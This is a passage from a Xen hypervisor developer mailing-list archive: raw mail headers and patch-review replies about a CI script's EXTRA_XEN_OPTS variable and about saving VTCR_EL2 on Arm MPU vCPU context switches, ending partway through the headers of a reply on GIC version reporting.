 B8WrhBLXDiYlyJT6zOV2yZFuW47VrLsjYnHwn27hmxTC/7tvG3euCklmkn9Sl9IAKFu29RSo
 d5bD8kMSCYsTqtTfT6W4A3qHGvIDta3ptLYpIAOD2sY3GYq2nf3Bbzx81wZK14JdDDHUX2Rs
 6+ahAA==
In-Reply-To: <alEcgxY6fioaJFts@mail-itl>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-ClientProxiedBy: LO6P265CA0020.GBRP265.PROD.OUTLOOK.COM
 (2603:10a6:600:2ff::11) To IA1PR03MB8288.namprd03.prod.outlook.com
 (2603:10b6:208:59e::6)
MIME-Version: 1.0
X-MS-PublicTrafficType: Email
X-MS-TrafficTypeDiagnostic: IA1PR03MB8288:EE_|MW4PR03MB6603:EE_
X-MS-Office365-Filtering-Correlation-Id: f04bc23e-fa90-40e5-33fa-08dedea0268f
X-MS-Exchange-SenderADCheck: 1
X-MS-Exchange-AntiSpam-Relay: 0
X-Microsoft-Antispam:
	BCL:0;ARA:13230040|366016|1800799024|376014|23010399003|11063799006|4143699003|5023799004|18002099003|56012099006|22082099003|3023799007;
X-Microsoft-Antispam-Message-Info:
	bboTkb90gzCrFvKwbwf/6YazwzCTb+GMLTAhzoaspCVnhKj1hMeOr1eCa03T5D48mbS5pOhEhDcHQRjGhCtKgCeU9jVFL3tcy5GYUagSrd3MnL+jibgKBzP1N+8dkkr6BOfHVZgM39H5ZkUJY8eIG9MT9LKNKOZaOo+QSjZiWyKDPDjWORPiv23yVzrg5jgB4kWvjYwN3zlDTf0gugyzlw+GsoYT2r6P5Jp0xu5b/W4pOITFVUhtG+qLnzQk3POZzAYeNYdqx0u2PeIRGb33lykQOj6kM3uGED/Esjmnot4tA9I1r/JB5Ed/8Lq9BFK1MrCMyXCss9v+jKk0Y5O2WqVIOJs7iJpVyVJlqsY9pmCXFZ7CxZ+Hjnk44RKPRxRSLlaXescm2p+XVloEUSxi9+mz/RQQlLSv86nNz0jNHqg+bl4i6N9ZL+ylYFWd+jmUqT3VY0crmH+lgUJzEZMhSG1Jdrpf+7TpfLcGa8Ik4m4VgFkNbxalf5gYBeIOeV4BaWgbFFH7eSa8FPqM7puvnP1RBXnGQ2VZ6KUN3ndJG8jUNOQN+6zJJNDN+RKTpH3vKHHoyEyRoT0o73uZm7g1mpcU3zCoj6HEEeCrMixXbV8rdvfbha43/UREw/jRR6tyocWDhUswfpoNZlFD6SeTR/HhBt0bWp3PxmtiYiYWshw=
X-Forefront-Antispam-Report:
	CIP:255.255.255.255;CTRY:;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:IA1PR03MB8288.namprd03.prod.outlook.com;PTR:;CAT:NONE;SFS:(13230040)(366016)(1800799024)(376014)(23010399003)(11063799006)(4143699003)(5023799004)(18002099003)(56012099006)(22082099003)(3023799007);DIR:OUT;SFP:1101;
X-MS-Exchange-AntiSpam-MessageData-ChunkCount: 1
X-MS-Exchange-AntiSpam-MessageData-0:
	=?utf-8?B?bnIrSm9ySlVxR01BdEtUYitrMnFsS1FKRU45VFdVUktRN0F3MldWZWRDZjdI?=
 =?utf-8?B?dk1hemJpWXdtSEJEaUpk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G1sVDBTTVBmZUVJV25rZXVtSGVLbURxMGVvNkliNWtUL3ZjclZDVXhoOWd2?=
 =?utf-8?B?YURMSGVQYXNVbml4Uk91ZVVPYzMyUlhyR3VRZTUrWDNZYlJIa2xPTmlEYktX?=
 =?utf-8?B?cXhLNG10Q1RNNnRDM3BZQzNxNXEvbzY4UzNQTkZkNlFjWUhmejd0TDBMdStL?=
 =?utf-8?B?WmhBdldpTGM2WUFyOVRidWZ2dEpFYWMrR0tjdFhuTEM4SDBKN1ZwSXRoNmxq?=
 =?utf-8?B?WmhtQmc1RS81MzQxL0ZJR1daeHBRcHhhOEZENHord29wSCtKbHRXRzB6TEtM?=
 =?utf-8?B?ZFM0ZHNNOVNsVGFrNU56TGQvSVZBVVBiek5NQjdPbU04NDQwYVY4dksyUWpm?=
 =?utf-8?B?VlZzL0U5NTRod0ZQRWdWSUNId01lREtzblV1dzZENEVUUk1peUdZaEcrSDBG?=
 =?utf-8?B?T1lsMVlLbnZ2UHdDaEZFSmpFUEthQnJWaUI4T1JoVStVanlXUEFrZGpvZW5x?=
 =?utf-8?B?VFU1S09iUmUyQm5sUG1NZWVQUkxvdnhzSEloM0hUMkc3L0NaNkFNQT09?=
X-OriginatorOrg: citrix.com
X-MS-Exchange-CrossTenant-Network-Message-Id: f04bc23e-fa90-40e5-33fa-08dedea0268f
X-MS-Exchange-CrossTenant-AuthSource: IA1PR03MB8288.namprd03.prod.outlook.com
X-MS-Exchange-CrossTenant-AuthAs: Internal
X-MS-Exchange-CrossTenant-OriginalArrivalTime: 10 Jul 2026 16:27:35.6848
 (UTC)
X-MS-Exchange-CrossTenant-FromEntityHeader: Hosted
X-MS-Exchange-CrossTenant-Id: 335836de-42ef-43a2-b145-348c2ee9ca5b
X-MS-Exchange-CrossTenant-MailboxType: HOSTED
X-MS-Exchange-CrossTenant-UserPrincipalName: NHqGrLrHBbaagb+w76iOzP8xNF4eSFMkdRpddHGNILagUM/mU0p0MqbNz0Nzixx17anMYG5S+SfTq+X2PoeW51+5bJQTH99I9gCeBWduStM=
X-MS-Exchange-Transport-CrossTenantHeadersStamped: MW4PR03MB6603
X-purgate-ID: tlsNG-c1860d/1783700860-7A62B01C-EF679B29/0/0
X-purgate-type: clean
X-purgate-size: 1088

On 10/07/2026 5:23 pm, Marek Marczykowski-GÃ³recki wrote:
> On Fri, Jul 10, 2026 at 05:15:17PM +0100, Andrew Cooper wrote:
>> On 09/07/2026 8:57 pm, Marek Marczykowski-GÃ³recki wrote:
>>> Add new job-level EXTRA_XEN_OPTS variable, in addition to CONSOLE_OPTS.
>> This is stale, but easy to adjust.
> What do you mean stale?

Never mind, I can't read.

>> Wouldn't this be better?
>>
>> diff --git a/automation/scripts/qubes-x86_64.sh
>> b/automation/scripts/qubes-x86_64.sh
>> index 065f03931bea..9f8288cc02e3 100755
>> --- a/automation/scripts/qubes-x86_64.sh
>> +++ b/automation/scripts/qubes-x86_64.sh
>> @@ -15,7 +15,7 @@ set -ex -o pipefail
>> Â test_variant=$1
>> Â 
>> Â ### defaults
>> -extra_xen_opts=
>> +extra_xen_opts="${EXTRA_XEN_OPTS-}"
>> Â wait_and_wakeup=
>> Â timeout=120
>> Â domU_type="pvh"
>>
>>
>> Everything is expected to append to this variable.
> Well, currently nothing appends to it, all tests override it...
>

Really can't read...

Lets go with the version you tested.

Acked-by: Andrew Cooper <andrew.cooper3@citrix.com>


From xen-devel-bounces@lists.xenproject.org Fri Jul 10 17:15:53 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Fri, 10 Jul 2026 17:15:53 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1359691.1613151 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wiEp8-0004dS-CU; Fri, 10 Jul 2026 17:15:38 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1359691.1613151; Fri, 10 Jul 2026 17:15:38 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wiEp8-0004dL-8t; Fri, 10 Jul 2026 17:15:38 +0000
Received: by outflank-mailman (input) for mailman id 1359691;
 Fri, 10 Jul 2026 17:15:37 +0000
Received: from mail.xenproject.org ([104.130.215.37])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <julien@xen.org>) id 1wiEp7-0004dF-SB
 for xen-devel@lists.xenproject.org; Fri, 10 Jul 2026 17:15:37 +0000
Received: from xenbits.xenproject.org ([104.239.192.120])
 by mail.xenproject.org with esmtp (Exim 4.96)
 (envelope-from <julien@xen.org>) id 1wiEp7-00H0ob-21;
 Fri, 10 Jul 2026 17:15:37 +0000
Received: from [2a02:8012:3a1:0:d925:4a60:fbf0:3a64]
 by xenbits.xenproject.org with esmtpsa (TLS1.3) tls
 TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256 (Exim 4.96)
 (envelope-from <julien@xen.org>) id 1wiEp7-006kwj-0S;
 Fri, 10 Jul 2026 17:15:37 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=xen.org;
	s=20200302mail; h=Content-Transfer-Encoding:Content-Type:In-Reply-To:From:
	References:Cc:To:Subject:MIME-Version:Date:Message-ID;
	bh=yzoslLGkPJ8W4L8uESe8DaAcrRybEia759dw6J+vFB8=; b=tG9ZqmYCgA2ssjMpm1WH/RBrGW
	vULFzD3FHSc6BXe6J8CBcYv5/zxfI17KeSIP3c/WwQpo6BrQeHwI/EhV4A9raCGvFkEZ3DNROL9Cp
	jaF1+3oWNoxYm/1EtVPbjZsqIiSTUx+cYd0aq5w1Uk062mkdLVE+Biu2QYMwzA3bL0ps=;
Message-ID: <83d9ba24-51ed-4138-add6-c38cf34327b1@xen.org>
Date: Fri, 10 Jul 2026 18:15:35 +0100
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH 8/8] arm/mpu: Save/restore VTCR_EL2 on vCPU context switch
To: Luca Fancellu <luca.fancellu@arm.com>, xen-devel@lists.xenproject.org
Cc: Stefano Stabellini <sstabellini@kernel.org>,
 Bertrand Marquis <bertrand.marquis@arm.com>,
 Michal Orzel <michal.orzel@amd.com>,
 Volodymyr Babchuk <Volodymyr_Babchuk@epam.com>
References: <20260420142524.1804073-1-luca.fancellu@arm.com>
 <20260420142524.1804073-9-luca.fancellu@arm.com>
Content-Language: en-GB
From: Julien Grall <julien@xen.org>
In-Reply-To: <20260420142524.1804073-9-luca.fancellu@arm.com>
Content-Type: text/plain; charset=UTF-8; format=flowed
Content-Transfer-Encoding: 7bit

Hi Luca,

On 20/04/2026 15:25, Luca Fancellu wrote:
> On AArch64 MPU systems, the VTCR register contains the MSA bit that determines
> if the guest is using MPU or MMU at EL1, which is required to be
> saved/restored on vCPU context switch.
> 
> On AArch64 MPU systems the VTCR_EL2 register configuration will be saved
> during setup_virt_paging and will be placed in a new member of
> 'struct arch_vcpu' named vtcr_el2, to be retrieved by context switch.
> 
> AArch32 MPU systems and MMU systems don't need to save/restore this
> register because they don't have any MSA bit and related functionality,
> so for these architecture a stub is provided.
> 
> Signed-off-by: Luca Fancellu <luca.fancellu@arm.com>
> ---
>   xen/arch/arm/arm64/mpu/p2m.c                | 15 +++++++++++++++
>   xen/arch/arm/domain.c                       |  2 ++
>   xen/arch/arm/include/asm/domain.h           |  5 +++++
>   xen/arch/arm/include/asm/mmu/domain-build.h |  2 ++
>   xen/arch/arm/include/asm/mpu/domain-build.h |  6 ++++++
>   xen/arch/arm/include/asm/mpu/p2m.h          | 10 ++++++++++
>   xen/arch/arm/mpu/domain-build.c             | 17 +++++++++++++++++
>   xen/arch/arm/mpu/p2m.c                      |  4 ++++
>   8 files changed, 61 insertions(+)
> 
> diff --git a/xen/arch/arm/arm64/mpu/p2m.c b/xen/arch/arm/arm64/mpu/p2m.c
> index a1ec9fcd6195..350cbd7ae94c 100644
> --- a/xen/arch/arm/arm64/mpu/p2m.c
> +++ b/xen/arch/arm/arm64/mpu/p2m.c
> @@ -3,8 +3,12 @@
>   #include <xen/bug.h>
>   #include <xen/init.h>
>   #include <xen/lib.h>
> +#include <xen/sched.h>
>   #include <asm/p2m.h>
>   
> +/* VTCR_EL2 value to be configured for the boot CPU. */
> +register_t __read_mostly vtcr;

You don't seem to use it. Is it necessary? But the name of the global 
variable is a bit too generic. If we want one, it ought to be 
"boot_vtcr". Also doesn't this need to be writeable after boot? If not, 
it should be called "boot_vtcr".

Cheers,

-- 
Julien Grall



From xen-devel-bounces@lists.xenproject.org Fri Jul 10 17:16:29 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Fri, 10 Jul 2026 17:16:29 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1359698.1613159 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wiEpx-00053e-Kl; Fri, 10 Jul 2026 17:16:29 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1359698.1613159; Fri, 10 Jul 2026 17:16:29 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wiEpx-00053X-HS; Fri, 10 Jul 2026 17:16:29 +0000
Received: by outflank-mailman (input) for mailman id 1359698;
 Fri, 10 Jul 2026 17:16:28 +0000
Received: from mail.xenproject.org ([104.130.215.37])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <julien@xen.org>) id 1wiEpw-00053P-D6
 for xen-devel@lists.xenproject.org; Fri, 10 Jul 2026 17:16:28 +0000
Received: from xenbits.xenproject.org ([104.239.192.120])
 by mail.xenproject.org with esmtp (Exim 4.96)
 (envelope-from <julien@xen.org>) id 1wiEpw-00H0pV-0u;
 Fri, 10 Jul 2026 17:16:28 +0000
Received: from [2a02:8012:3a1:0:d925:4a60:fbf0:3a64]
 by xenbits.xenproject.org with esmtpsa (TLS1.3) tls
 TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256 (Exim 4.96)
 (envelope-from <julien@xen.org>) id 1wiEpv-006nv3-2d;
 Fri, 10 Jul 2026 17:16:27 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=xen.org;
	s=20200302mail; h=Content-Transfer-Encoding:Content-Type:In-Reply-To:From:
	References:Cc:To:Subject:MIME-Version:Date:Message-ID;
	bh=7pihEpx57uvvhpXTLxePHNtQ3/fCRkCSYnRA/aE4Ggw=; b=NWXW7QLXRNOq0pxSuNaFPRbf2w
	uBA9xTkJBrupahEEOfyW1I13qMhB1GAJ4Ko8dL4b0pw+jbH1CWvs52QiNofJvc6oj3uF51ofkko5D
	CCCH/aNcCaIUGEIYZ2nwDDlIFeDfUv8NgaPlrbpcaw1SBIyJHhbIc28yHswHXnHTeH6I=;
Message-ID: <e94b3893-d3e2-46c9-abbe-cc123e624e48@xen.org>
Date: Fri, 10 Jul 2026 18:16:26 +0100
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH 8/8] arm/mpu: Save/restore VTCR_EL2 on vCPU context switch
To: "Halder, Ayan Kumar" <ayankuma@amd.com>,
 Luca Fancellu <luca.fancellu@arm.com>, xen-devel@lists.xenproject.org
Cc: Stefano Stabellini <sstabellini@kernel.org>,
 Bertrand Marquis <bertrand.marquis@arm.com>,
 Michal Orzel <michal.orzel@amd.com>,
 Volodymyr Babchuk <Volodymyr_Babchuk@epam.com>
References: <20260420142524.1804073-1-luca.fancellu@arm.com>
 <20260420142524.1804073-9-luca.fancellu@arm.com>
 <5dd152dd-c70e-4979-9ff4-8bb027bb2da6@amd.com>
Content-Language: en-GB
From: Julien Grall <julien@xen.org>
In-Reply-To: <5dd152dd-c70e-4979-9ff4-8bb027bb2da6@amd.com>
Content-Type: text/plain; charset=UTF-8; format=flowed
Content-Transfer-Encoding: 8bit

Hi,

On 10/07/2026 17:08, Halder, Ayan Kumar wrote:
>> diff --git a/xen/arch/arm/arm64/mpu/p2m.c b/xen/arch/arm/arm64/mpu/p2m.c
>> index a1ec9fcd6195..350cbd7ae94c 100644
>> --- a/xen/arch/arm/arm64/mpu/p2m.c
>> +++ b/xen/arch/arm/arm64/mpu/p2m.c
>> @@ -3,8 +3,12 @@
>> Â  #include <xen/bug.h>
>> Â  #include <xen/init.h>
>> Â  #include <xen/lib.h>
>> +#include <xen/sched.h>
>> Â  #include <asm/p2m.h>
>> +/* VTCR_EL2 value to be configured for the boot CPU. */
>> +register_t __read_mostly vtcr;
>> +
>> Â  void __init setup_virt_paging(void)
>> Â  {
>> Â Â Â Â Â  register_t vtcr_el2 = READ_SYSREG(VTCR_EL2);
>> @@ -58,6 +62,7 @@ void __init setup_virt_paging(void)
>> Â Â Â Â Â  else
>> Â Â Â Â Â Â Â Â Â  vtcr_el2 &= ~VTCR_VS;
>> +Â Â Â  vtcr = vtcr_el2;
>> Â Â Â Â Â  WRITE_SYSREG(vtcr_el2, VTCR_EL2);
>> Â Â Â Â Â  p2m_vmid_allocator_init();
>> @@ -89,6 +94,16 @@ void __init setup_virt_paging(void)
>> Â Â Â Â Â  panic("Hardware with no PMSAv8-64 support in any translation 
>> regime\n");
>> Â  }
>> +void p2m_save_vtcr(struct vcpu *p)
>> +{
>> +Â Â Â  p->arch.vtcr_el2 = READ_SYSREG(VTCR_EL2);
>> +}
>> +
> VTCR_EL2 is an EL2 register the guest cannot touch, and set_v8r_vtcr_msa()
> already fixes each vCPU's value at creation. Reading it back on every 
> save is
> redundant
I would at least consider adding an ASSERT() to confirm the two matches. 
This will catch any issues during debug build.

Cheers,

-- 
Julien Grall



From xen-devel-bounces@lists.xenproject.org Fri Jul 10 17:51:11 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Fri, 10 Jul 2026 17:51:11 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1359740.1613169 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wiFNP-0001xd-9O; Fri, 10 Jul 2026 17:51:03 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1359740.1613169; Fri, 10 Jul 2026 17:51:03 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wiFNP-0001xW-5W; Fri, 10 Jul 2026 17:51:03 +0000
Received: by outflank-mailman (input) for mailman id 1359740;
 Fri, 10 Jul 2026 17:51:01 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <andrew.cooper@citrix.com>) id 1wiFNN-0001xQ-DO
 for xen-devel@lists.xenproject.org; Fri, 10 Jul 2026 17:51:01 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wiFNM-007dN7-Js
 for xen-devel@lists.xenproject.org; Fri, 10 Jul 2026 19:51:00 +0200
Received: from [10.42.69.1] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <andrew.cooper@citrix.com>)
 id 6a5130f2-5cb7-0a2a0a5109dd-0a2a450188bc-24
 for <xen-devel@lists.xenproject.org>; Fri, 10 Jul 2026 19:51:00 +0200
Received: from [52.101.62.43]
 (helo=DM5PR21CU001.outbound.protection.outlook.com)
 by tlsNG-d62444.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.2)
 (envelope-from <andrew.cooper@citrix.com>)
 id 6a513102-3ea4-0a2a45010019-34653e2be71b-3
 for <xen-devel@lists.xenproject.org>; Fri, 10 Jul 2026 19:51:00 +0200
Received: from IA1PR03MB8288.namprd03.prod.outlook.com (2603:10b6:208:59e::6)
 by PH0PR03MB6349.namprd03.prod.outlook.com (2603:10b6:510:b4::17)
 with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.181.18; Fri, 10 Jul
 2026 17:50:55 +0000
Received: from IA1PR03MB8288.namprd03.prod.outlook.com
 ([fe80::b5ee:28c6:e04b:5599]) by IA1PR03MB8288.namprd03.prod.outlook.com
 ([fe80::b5ee:28c6:e04b:5599%3]) with mapi id 15.21.0181.012; Fri, 10 Jul 2026
 17:50:55 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=citrix.com header.i="@citrix.com" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck"
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=lnDCdAMsiTRsFtUuP/o2hA5067rY14GK/uCJOFIGZNjq1hpiiFHqP8AEQMWxqnvOSty6UmjjaVgCkzV95LD9TYXtK6EBduykpHiz0/+HOcUm2iblM63A2v0qDGqiEde5zejewRXkw2knTYUoIUnIwUx2bN8ih08meHNfxblwUWoraK6kKKnCfBY84hoJ/o13KLg7J/L9dPteReCYMT+C6n777BGYhus0IxgJ64Q+CmeYXbu9kXM1X1S9RKJT53f78YZaDU4MpOtUeBlDNvuX5+PnTrCW5FFZuY0nj/Zm9Rvuf7jey3r4oIljbSPLYTb5IOx3Vq40yamt1V0W6ppPfA==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=4POsCqeKiQ2NeQ3Q+7N2d+qFV4hhI73PlcVr3Lvcymo=;
 b=iGjfKEpHMPpgDznFug60p34gRCxhVIwmyzw5L/6JUgSIs3eaUGwJmh39Gt7ZN/ZXHD9uxY5B6kIw+7PptO2tJBfPsEbShF6suIWjNTWcJYX8x8spTLo4gxy37VmQqKSqxMomy15ZVS2E5I481LMkqPg4htDaJ50WNWLnPpDYSF8xHOreDeNvfNcH21QwjsEVaAOoajyRbHBH5rm4G/1TiCldjsGvadqG6VXqjy6d68f/Pls+nZ6kbO17c/J8H1Pw876h5JttWGYYGuwJntWqBx9iw6J1jMqnXVf90M/HT1Klnzb7kYxfh7DJwYf2ogoOQ5S/iUm2gzTa10Nr1PToKg==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass
 smtp.mailfrom=citrix.com; dmarc=pass action=none header.from=citrix.com;
 dkim=pass header.d=citrix.com; arc=none
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=citrix.com;
 s=selector1;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=4POsCqeKiQ2NeQ3Q+7N2d+qFV4hhI73PlcVr3Lvcymo=;
 b=CpW8F17JgCddGdttGjYQxrJHkoM6HS4bwWvdOfq3EJK0hmkVNgc6SWKktZRH0e8fiWdZuXuF+2wAGdxNN/oICLunyVMj90KUHjgit39E08i4twZ+XnzXLp8T1+onLRHSGMMp1ZzFZmrCoIYC3Dvebcs33d1MoydWWcqeu+k9INI=
Authentication-Results: dkim=none (message not signed)
 header.d=none;dmarc=none action=none header.from=citrix.com;
Message-ID: <7f27b48e-2c94-4991-8a7f-5b3bd30f9f00@citrix.com>
Date: Fri, 10 Jul 2026 18:50:51 +0100
User-Agent: Mozilla Thunderbird
Cc: Andrew Cooper <andrew.cooper3@citrix.com>,
 Anthony PERARD <anthony.perard@vates.tech>,
 Michal Orzel <michal.orzel@amd.com>, Jan Beulich <jbeulich@suse.com>,
 Julien Grall <julien@xen.org>, =?UTF-8?Q?Roger_Pau_Monn=C3=A9?=
 <roger.pau@citrix.com>, Stefano Stabellini <sstabellini@kernel.org>,
 Juergen Gross <jgross@suse.com>, Andrii Sultanov
 <andriy.sultanov@vates.tech>,
 Guillaume Thouvenin <guillaume.thouvenin@vates.tech>,
 =?UTF-8?Q?Marek_Marczykowski-G=C3=B3recki?=
 <marmarek@invisiblethingslab.com>,
 Bertrand Marquis <bertrand.marquis@arm.com>,
 Volodymyr Babchuk <Volodymyr_Babchuk@epam.com>,
 Oleksii Moisieiev <oleksii_moisieiev@epam.com>,
 Timothy Pearson <tpearson@raptorengineering.com>,
 Alistair Francis <alistair.francis@wdc.com>,
 Connor Davis <connojdavis@gmail.com>,
 Oleksii Kurochko <oleksii.kurochko@gmail.com>,
 Teddy Astie <teddy.astie@vates.tech>
Subject: Re: [PATCH v2 1/6] xen/arm: report proper GIC version via
 XEN_DOMCTL_getdomaininfo
To: Julian Vetter <julian.vetter@vates.tech>, xen-devel@lists.xenproject.org
References: <20260710135503.301746-1-julian.vetter@vates.tech>
 <1783691837.8631fc262581453bbf619ec5b2062170.19f4c5180aa000edb5@vates.tech>
Content-Language: en-GB
From: Andrew Cooper <andrew.cooper3@citrix.com>
Autocrypt: addr=andrew.cooper3@citrix.com; keydata=
 xsFNBFLhNn8BEADVhE+Hb8i0GV6mihnnr/uiQQdPF8kUoFzCOPXkf7jQ5sLYeJa0cQi6Penp
 VtiFYznTairnVsN5J+ujSTIb+OlMSJUWV4opS7WVNnxHbFTPYZVQ3erv7NKc2iVizCRZ2Kxn
 srM1oPXWRic8BIAdYOKOloF2300SL/bIpeD+x7h3w9B/qez7nOin5NzkxgFoaUeIal12pXSR
 Q354FKFoy6Vh96gc4VRqte3jw8mPuJQpfws+Pb+swvSf/i1q1+1I4jsRQQh2m6OTADHIqg2E
 ofTYAEh7R5HfPx0EXoEDMdRjOeKn8+vvkAwhviWXTHlG3R1QkbE5M/oywnZ83udJmi+lxjJ5
 YhQ5IzomvJ16H0Bq+TLyVLO/VRksp1VR9HxCzItLNCS8PdpYYz5TC204ViycobYU65WMpzWe
 LFAGn8jSS25XIpqv0Y9k87dLbctKKA14Ifw2kq5OIVu2FuX+3i446JOa2vpCI9GcjCzi3oHV
 e00bzYiHMIl0FICrNJU0Kjho8pdo0m2uxkn6SYEpogAy9pnatUlO+erL4LqFU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JzW0Bzq/WXY3XMOzUTYApGQpnUpdOmuQSfpV9MQO+/jo7r6yPbxT7CwRS5dcQPzUiuHLK9i
 nvjREdh84qycnx0/6dDroYhp0DFv4udxuAvt1h4wGwTPRQZerSm4xaYegEFusyhbZrI0U9tJ
 B8WrhBLXDiYlyJT6zOV2yZFuW47VrLsjYnHwn27hmxTC/7tvG3euCklmkn9Sl9IAKFu29RSo
 d5bD8kMSCYsTqtTfT6W4A3qHGvIDta3ptLYpIAOD2sY3GYq2nf3Bbzx81wZK14JdDDHUX2Rs
 6+ahAA==
In-Reply-To: <1783691837.8631fc262581453bbf619ec5b2062170.19f4c5180aa000edb5@vates.tech>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-ClientProxiedBy: LO2P123CA0097.GBRP123.PROD.OUTLOOK.COM
 (2603:10a6:600:139::12) To IA1PR03MB8288.namprd03.prod.outlook.com
 (2603:10b6:208:59e::6)
MIME-Version: 1.0
X-MS-PublicTrafficType: Email
X-MS-TrafficTypeDiagnostic: IA1PR03MB8288:EE_|PH0PR03MB6349:EE_
X-MS-Office365-Filtering-Correlation-Id: 3bb89d75-65a7-4b2a-924a-08dedeabcacb
X-MS-Exchange-SenderADCheck: 1
X-MS-Exchange-AntiSpam-Relay: 0
X-Microsoft-Antispam:
	BCL:0;ARA:13230040|7416014|376014|23010399003|366016|1800799024|6133799003|56012099006|4143699003|11063799006|18002099003|22082099003;
X-Microsoft-Antispam-Message-Info:
